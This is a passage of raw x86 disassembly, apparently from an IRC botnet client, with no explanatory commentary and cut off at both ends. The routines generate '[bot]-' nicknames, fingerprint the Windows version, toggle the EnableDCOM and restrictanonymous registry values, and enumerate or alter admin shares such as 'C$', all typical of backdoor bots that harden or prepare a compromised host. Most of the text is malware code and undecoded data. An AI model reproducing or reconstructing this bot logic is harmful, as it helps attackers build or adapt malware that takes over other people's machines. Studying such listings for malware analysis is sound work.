jz short loc_4156CA test al, al jz short loc_4156D9 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 1 jz short loc_4156A3 jmp short loc_4156D5 ; --------------------------------------------------------------------------- loc_4156CA: ; CODE XREF: sub_415685+27j push offset dword_433034 call sub_40BFE1 pop ecx loc_4156D5: ; CODE XREF: sub_415685+19j ; sub_415685+43j xor eax, eax jmp short loc_4156DC ; --------------------------------------------------------------------------- loc_4156D9: ; CODE XREF: sub_415685+2Bj push 1 pop eax loc_4156DC: ; CODE XREF: sub_415685+52j pop esi leave retn sub_415685 endp ; =============== S U B R O U T I N E ======================================= sub_4156DF proc near ; CODE XREF: ___:004155E3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_41570A push [esp+arg_4] push [esp+4+arg_0] push offset dword_43306C call sub_40BFE1 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_41570A: ; CODE XREF: sub_4156DF+11j push 1 pop eax retn sub_4156DF endp ; --------------------------------------------------------------------------- word_41570E dw 8B55h ; DATA XREF: sub_40EE72+5623o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 43AD10h, 0C63BF633h, 68501D74h dd 433230h, 0FF688CE8h, 0B475FFFFh, 191BE8h, 0CC48300h dd 0F7E89057h, 57021FB1h, 41598C68h, 8DE89000h, 85023FA8h dd 902975C0h, 25AB2DE8h, 0E0685002h, 0E8004331h, 0FFFF6859h dd 15FF5959h, 43ACF8h, 0E8B475FFh, 18E0h, 0E8905759h, 21FB1BEh dd 8D106A53h, 5056E045h, 1B83E8h, 0CC48300h, 0E045C766h dd 75FF0002h, 9815FFB0h, 6A0043ADh, 26A5706h, 0E2458966h dd 0FFE47589h, 43AE1815h, 83D88B00h, 840FFFFBh, 13Bh, 6AB4458Bh dd 34C06910h, 89000002h, 4407FC98h, 0E0458D00h, 15FF5350h dd 43ADC4h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh, 43ADC0h dd 850FC085h, 103h, 43319468h, 0F045C700h, 0Ch, 89F47589h dd 42E8F875h, 59FFFF67h, 8D087D89h, 45C7FC45h, 10FCh, 458D5000h dd 0FF5350CCh, 43AE2C15h, 83F88B00h, 840FFFFFh, 0CAh, 8D0875FFh dd 6A500845h, 0FFFF6808h, 0FF570000h, 43AD7815h, 0FFF88300h dd 0B70FC574h, 75FFCE45h, 0C87589B4h, 0D075FF50h, 0AE2415FFh dd 8D500043h, 0FFFBEC85h, 314068FFh, 0E8500043h, 1A20h dd 0FBEC858Dh, 0E850FFFFh, 0FFFF66D1h, 0EC858D57h, 6AFFFFFBh dd 0B1E85006h, 89000014h, 0C069B845h, 234h, 83B44D8Bh dd 888924C4h, 4407F4h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh dd 41548068h, 0F0458D00h, 0C8E85056h, 900228B1h, 69B84D8Bh dd 234C9h, 89C63B00h, 44080481h, 39137400h, 850FC875h dd 0FFFFFF37h, 0E890326Ah, 220AEA4h, 0E890EDEBh, 225A9A2h dd 30F46850h, 0CEE80043h, 59FFFF66h, 8B03EB59h, 15FF087Dh dd 43AD2Ch, 0EC858D50h, 68FFFFFBh, 4330B0h, 197EE850h dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 22E8FFFFh, 83FFFF7Dh dd 858D14C4h, 0FFFFFBECh, 6607E850h, 5759FFFFh, 0AE3015FFh dd 0FF530043h, 43AE3015h, 0F815FF00h, 0FF0043ACh, 0F5E8B475h dd 59000016h, 0AFD4E856h, 5B90021Fh, 4439C033h, 940F0424h db 0C0h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_415996 proc near ; CODE XREF: sub_415D01+49p ; DATA XREF: ___:off_433280o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi nop call near ptr 2610EF3h push eax call sub_417302 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aBot ; "[bot]-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_4159EF loc_4159C9: ; CODE XREF: sub_415996+57j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_4159C9 loc_4159EF: ; CODE XREF: sub_415996+31j mov eax, edi pop edi pop esi retn sub_415996 endp ; =============== S U B R O U T I N E ======================================= sub_4159F4 proc near ; CODE XREF: sub_40EE72+3E7Fp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 2610EF3h push eax call sub_417302 pop ecx call sub_41730C push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_42F5C8 test esi, esi jle short loc_415A37 loc_415A21: ; CODE XREF: sub_4159F4+41j call sub_41730C push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_415A21 loc_415A37: ; CODE XREF: sub_4159F4+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_4159F4 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 2610EF3h nop push eax call sub_417302 pop ecx lea eax, [ebp-8] mov esi, offset byte_4332DC push eax push esi call near ptr 27F0000h nop movsx eax, byte_4332DC push 41h pop ecx push 1 pop edx loc_415A7D: ; CODE XREF: ___:00415A88j cmp eax, ecx jnz short loc_415A84 mov [ebp-4], edx loc_415A84: ; CODE XREF: ___:00415A7Fj inc ecx cmp ecx, 5Bh jl short loc_415A7D push 61h pop ecx loc_415A8D: ; CODE XREF: ___:00415A98j cmp eax, ecx jnz short loc_415A94 mov [ebp-4], edx loc_415A94: ; CODE XREF: ___:00415A8Fj inc ecx cmp ecx, 7Bh jl short loc_415A8D mov edi, [ebp+8] push esi push 1Ch push edi call sub_41782A xor esi, esi add esp, 0Ch cmp dword_42F5C8, esi jle short loc_415AD9 loc_415AB3: ; CODE XREF: ___:00415AD7j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415AB3 loc_415AD9: ; CODE XREF: ___:00415AB1j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call near ptr 2610EF3h nop push eax call sub_417302 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 28102BFh mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_4332E0 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415B4E loc_415B28: ; CODE XREF: ___:00415B4Cj call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415B28 loc_415B4E: ; CODE XREF: ___:00415B26j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_436EDC mov dword ptr [ebp-94h], 94h call near ptr 27C0000h nop call near ptr 2610EF3h nop push eax call sub_417302 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_415BD8 cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BB8 cmp dword ptr [ebp-84h], 1 jnz short loc_415BA8 mov esi, offset a95 ; "95" loc_415BA8: ; CODE XREF: ___:00415BA1j cmp dword ptr [ebp-84h], 2 jnz short loc_415C14 mov esi, offset aNt ; "NT" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BB8: ; CODE XREF: ___:00415B98j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_415BC8 mov esi, offset a98 ; "98" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BC8: ; CODE XREF: ___:00415BBFj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_415C0F mov esi, offset aMe ; "ME" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BD8: ; CODE XREF: ___:00415B8Fj cmp dword ptr [ebp-90h], 5 jnz short loc_415C0F cmp dword ptr [ebp-8Ch], 0 jnz short loc_415BF1 mov esi, offset a2k ; "2K" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415BF1: ; CODE XREF: ___:00415BE8j cmp dword ptr [ebp-8Ch], 1 jnz short loc_415C01 mov esi, offset aXp ; "XP" jmp short loc_415C14 ; --------------------------------------------------------------------------- loc_415C01: ; CODE XREF: ___:00415BF8j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_4332EC jz short loc_415C14 loc_415C0F: ; CODE XREF: ___:00415BCFj ; ___:00415BDFj mov esi, offset dword_42DDDC loc_415C14: ; CODE XREF: ___:00415BAFj ; ___:00415BB6j ... mov edi, [ebp+8] push esi push offset dword_4332E4 push 1Ch push edi call sub_41782A xor esi, esi add esp, 10h cmp dword_42F5C8, esi jle short loc_415C58 loc_415C32: ; CODE XREF: ___:00415C56j call sub_41730C push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_4332D4 push 1Ch push edi call sub_41782A add esp, 14h inc esi cmp esi, dword_42F5C8 jl short loc_415C32 loc_415C58: ; CODE XREF: ___:00415C30j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C5E proc near ; CODE XREF: sub_415D01+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 2610EF3h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_415CAD call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415C96 mov eax, offset byte_436EDC loc_415C96: ; CODE XREF: sub_415C5E+31j push eax push esi push offset dword_4332F0 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41782A add esp, 14h jmp short loc_415CCD ; --------------------------------------------------------------------------- loc_415CAD: ; CODE XREF: sub_415C5E+22j call dword_43ADA4 test eax, eax mov eax, offset dword_4332F8 jnz short loc_415CC1 mov eax, offset byte_436EDC loc_415CC1: ; CODE XREF: sub_415C5E+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_4172B0 pop ecx pop ecx loc_415CCD: ; CODE XREF: sub_415C5E+4Dj lea eax, [ebp+var_1C] push eax call sub_417AB0 pop ecx cmp eax, 2 pop esi jbe short loc_415CFC push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_418DE0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_418C10 add esp, 18h loc_415CFC: ; CODE XREF: sub_415C5E+7Dj mov eax, [ebp+arg_0] leave retn sub_415C5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D01 proc near ; CODE XREF: sub_40EB92+7Fp ; sub_40ECFA+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_43327C loc_415D0D: ; CODE XREF: sub_415D01+3Fj cmp [ebp+arg_C], 0 jz short loc_415D28 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_4176D0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_415D32 ; --------------------------------------------------------------------------- loc_415D28: ; CODE XREF: sub_415D01+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_415D32: ; CODE XREF: sub_415D01+25j test eax, eax jnz short loc_415D44 add esi, 14h inc edi cmp esi, offset dword_4332E0 jb short loc_415D0D jmp short loc_415D52 ; --------------------------------------------------------------------------- loc_415D44: ; CODE XREF: sub_415D01+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_433280[eax*4] pop ecx loc_415D52: ; CODE XREF: sub_415D01+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_415D65 push [ebp+arg_0] call sub_415C5E pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_415D65: ; CODE XREF: sub_415D01+57j mov eax, [ebp+arg_0] pop ebp retn sub_415D01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D6A proc near var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0B8h mov eax, [ebp+arg_0] push esi push edi push 2Ah pop ecx mov esi, eax lea edi, [ebp+var_B8] push 1 rep movsd pop esi mov [eax+0A4h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_34] call dword_43AD98 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_415E28 lea eax, [ebp+var_10] push 10h push eax push esi call dword_43AD40 mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_4407FC[ecx], esi jz short loc_415E28 push [ebp+var_34] push [ebp+var_28] call dword_43AE24 push eax mov edi, offset dword_4CD784 push offset unk_4332FC push edi call sub_4172B0 push 0 lea eax, [ebp+var_B4] push [ebp+var_20] push edi push eax push [ebp+var_B8] call sub_40D679 push edi call sub_40BF6D add esp, 28h loc_415E28: ; CODE XREF: sub_415D6A+5Dj ; sub_415D6A+7Ej push esi call dword_43AE30 pop edi xor eax, eax pop esi leave retn 4 sub_415D6A endp ; --------------------------------------------------------------------------- byte_415E37 db 55h ; DATA XREF: sub_40EE72+35E0o dd 0EC81EC8Bh, 130h, 85D8B53h, 2A6A5756h, 8D59F38Bh, 0FFFF50BDh dd 8BA5F3FFh, 42406435h, 0A083C700h, 1000000h, 33000000h dd 0D475FFFFh, 0FFE075FFh, 43AE2415h, 858D5000h, 0FFFFFED0h dd 43333468h, 2DE85000h, 8D000014h, 0FFFED085h, 1FF68FFh dd 8B500000h, 0C069DC45h, 234h, 4405F005h, 6DE85000h, 8300002Dh dd 458D1CC4h, 858D50F8h, 0FFFFFF50h, 6A685057h, 5700415Dh dd 0E4E89057h, 3B0228ABh, 0FC4589C7h, 7D390B74h, 6A0675F4h dd 0EBD6FF32h, 0FC75FFF5h, 0A9C3E890h, 0B3FF0223h, 88h dd 0A4BB89h, 0D6FF0000h, 6AE0458Dh, 458D5004h, 99E85008h dd 83000014h, 75FF0CC4h, 0CC15FF08h, 400043ACh, 8458950h dd 0AD9415FFh, 45890043h, 8458D08h, 8D50046Ah, 0E850E045h dd 1470h, 0E90CC483h, 0FFFFFF3Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F28 proc near ; DATA XREF: sub_40EE72+5F4Fo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_415F6F call sub_415F88 jmp short loc_415F74 ; --------------------------------------------------------------------------- loc_415F6F: ; CODE XREF: sub_415F28+3Ej call sub_4162AC loc_415F74: ; CODE XREF: sub_415F28+45j add esp, 10h push [ebp+var_14] call sub_417078 pop ecx push 0 nop call near ptr 261095Eh sub_415F28 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F88 proc near ; CODE XREF: sub_415F28+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_43AE68, edi jnz loc_4160BA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416013 mov ax, word_4336E4 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_415FF5 push offset unk_4336A4 jmp short loc_415FFA ; --------------------------------------------------------------------------- loc_415FF5: ; CODE XREF: sub_415F88+64j push offset dword_433678 loc_415FFA: ; CODE XREF: sub_415F88+6Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_416026 ; --------------------------------------------------------------------------- loc_416013: ; CODE XREF: sub_415F88+36j lea eax, [ebp+var_214] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_416026: ; CODE XREF: sub_415F88+89j cmp [ebp+arg_C], edi jnz short loc_416045 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416045: ; CODE XREF: sub_415F88+A1j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4160B3 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_43ADBC test eax, eax jz short loc_416095 push offset unk_4335D8 jmp short loc_41609A ; --------------------------------------------------------------------------- loc_416095: ; CODE XREF: sub_415F88+104j push offset unk_433594 loc_41609A: ; CODE XREF: sub_415F88+10Bj lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4160CD ; --------------------------------------------------------------------------- loc_4160B3: ; CODE XREF: sub_415F88+E2j push offset unk_433548 jmp short loc_4160BF ; --------------------------------------------------------------------------- loc_4160BA: ; CODE XREF: sub_415F88+13j push offset unk_433508 loc_4160BF: ; CODE XREF: sub_415F88+130j lea eax, [ebp+var_214] push eax call sub_4172B0 pop ecx pop ecx loc_4160CD: ; CODE XREF: sub_415F88+129j cmp [ebp+arg_C], edi jnz short loc_4160EC push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4160EC: ; CODE XREF: sub_415F88+148j lea eax, [ebp+var_214] push eax call sub_40BF6D cmp dword_43AE90, edi pop ecx jnz loc_416267 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41610F: ; CODE XREF: sub_415F88+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_43ACE4 cmp eax, edi mov [ebp+var_10], eax jz short loc_4161AC cmp eax, 0EAh jz short loc_4161AC mov esi, offset off_433370 loc_416140: ; CODE XREF: sub_415F88+21Dj push dword ptr [esi] push edi call sub_40DCC3 pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_416157 push offset unk_4334D4 jmp short loc_41615C ; --------------------------------------------------------------------------- loc_416157: ; CODE XREF: sub_415F88+1C6j push offset unk_433498 loc_41615C: ; CODE XREF: sub_415F88+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41618F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41618F: ; CODE XREF: sub_415F88+1EBj lea eax, [ebp+var_214] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset dword_433390 jb short loc_416140 jmp loc_416244 ; --------------------------------------------------------------------------- loc_4161AC: ; CODE XREF: sub_415F88+1AAj ; sub_415F88+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41623B loc_4161BB: ; CODE XREF: sub_415F88+2AFj mov edi, [esi] push edi call sub_41999C cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_416230 push edi call sub_40DBB0 push eax push 0 call sub_40DCC3 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_4161EA push offset unk_433464 jmp short loc_4161EF ; --------------------------------------------------------------------------- loc_4161EA: ; CODE XREF: sub_415F88+259j push offset unk_433428 loc_4161EF: ; CODE XREF: sub_415F88+260j lea eax, [ebp+var_214] push 200h push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416223 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416223: ; CODE XREF: sub_415F88+27Fj lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx loc_416230: ; CODE XREF: sub_415F88+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_4161BB xor edi, edi loc_41623B: ; CODE XREF: sub_415F88+22Dj push [ebp+var_8] call dword_43AE28 loc_416244: ; CODE XREF: sub_415F88+21Fj cmp [ebp+var_10], 0EAh jz loc_41610F lea eax, [ebp+var_214] push offset unk_4333F0 push eax call sub_4172B0 pop ecx pop ecx pop ebx jmp short loc_41627A ; --------------------------------------------------------------------------- loc_416267: ; CODE XREF: sub_415F88+177j lea eax, [ebp+var_214] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_41627A: ; CODE XREF: sub_415F88+2DDj cmp [ebp+arg_C], edi jnz short loc_416298 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416298: ; CODE XREF: sub_415F88+2F5j lea eax, [ebp+var_214] push eax call sub_40BF6D pop ecx push 1 pop eax pop edi pop esi leave retn sub_415F88 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162AC proc near ; CODE XREF: sub_415F28:loc_415F6Fp var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_43AE68, ebx push esi jnz loc_4163DA lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_43AE08 test eax, eax jnz short loc_416337 mov ax, word_4338CC mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_43ADBC test eax, eax jz short loc_416319 push offset unk_433898 jmp short loc_41631E ; --------------------------------------------------------------------------- loc_416319: ; CODE XREF: sub_4162AC+64j push offset dword_43386C loc_41631E: ; CODE XREF: sub_4162AC+6Bj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416337: ; CODE XREF: sub_4162AC+36j lea eax, [ebp+var_220] push offset unk_433638 push eax call sub_4172B0 pop ecx pop ecx loc_41634A: ; CODE XREF: sub_4162AC+89j cmp [ebp+arg_C], ebx jnz short loc_416369 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416369: ; CODE XREF: sub_4162AC+A1j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_43AE08 test eax, eax jnz short loc_4163D3 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_43ADBC test eax, eax jz short loc_4163B5 push offset unk_433820 jmp short loc_4163BA ; --------------------------------------------------------------------------- loc_4163B5: ; CODE XREF: sub_4162AC+100j push offset unk_4337DC loc_4163BA: ; CODE XREF: sub_4162AC+107j lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx push [ebp+var_4] call dword_43AD74 jmp short loc_4163ED ; --------------------------------------------------------------------------- loc_4163D3: ; CODE XREF: sub_4162AC+E2j push offset unk_433790 jmp short loc_4163DF ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_4162AC+13j push offset unk_433508 loc_4163DF: ; CODE XREF: sub_4162AC+12Cj lea eax, [ebp+var_220] push eax call sub_4172B0 pop ecx pop ecx loc_4163ED: ; CODE XREF: sub_4162AC+125j cmp [ebp+arg_C], ebx jnz short loc_41640C push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41640C: ; CODE XREF: sub_4162AC+144j lea eax, [ebp+var_220] push eax call sub_40BF6D cmp dword_43AE90, ebx pop ecx jnz loc_416581 push edi mov esi, offset off_433370 mov edi, 200h loc_416430: ; CODE XREF: sub_4162AC+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_40DC17 add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41644B push offset unk_433760 jmp short loc_416450 ; --------------------------------------------------------------------------- loc_41644B: ; CODE XREF: sub_4162AC+196j push offset unk_433728 loc_416450: ; CODE XREF: sub_4162AC+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41647F push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_41647F: ; CODE XREF: sub_4162AC+1B7j lea eax, [ebp+var_220] push eax call sub_40BF6D add esi, 8 pop ecx cmp esi, offset off_433380 jb short loc_416430 nop call near ptr 2810820h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_416569 loc_4164AA: ; CODE XREF: sub_4162AC+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41655E cmp bl, 41h jz loc_41655E movsx esi, bl push esi push offset aC_2 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_1 ; "%c:\\" push 0Ah push eax call sub_41782A add esp, 10h lea eax, [ebp+var_20] push eax call dword_43ADF8 cmp eax, 3 jnz short loc_41655E lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_40DC17 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41651C push offset unk_433760 jmp short loc_416521 ; --------------------------------------------------------------------------- loc_41651C: ; CODE XREF: sub_4162AC+267j push offset unk_433728 loc_416521: ; CODE XREF: sub_4162AC+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41782A add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_416551 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_416551: ; CODE XREF: sub_4162AC+289j lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx loc_41655E: ; CODE XREF: sub_4162AC+206j ; sub_4162AC+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_4164AA loc_416569: ; CODE XREF: sub_4162AC+1F8j lea eax, [ebp+var_220] push offset unk_4336E8 push eax call sub_4172B0 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_416594 ; --------------------------------------------------------------------------- loc_416581: ; CODE XREF: sub_4162AC+173j lea eax, [ebp+var_220] push offset unk_4333B0 push eax call sub_4172B0 pop ecx pop ecx loc_416594: ; CODE XREF: sub_4162AC+2D3j cmp [ebp+arg_C], ebx jnz short loc_4165B2 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_4165B2: ; CODE XREF: sub_4162AC+2EBj lea eax, [ebp+var_220] push eax call sub_40BF6D pop ecx push 1 pop eax pop esi pop ebx leave retn sub_4162AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C6 proc near ; CODE XREF: ___:0041562Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr 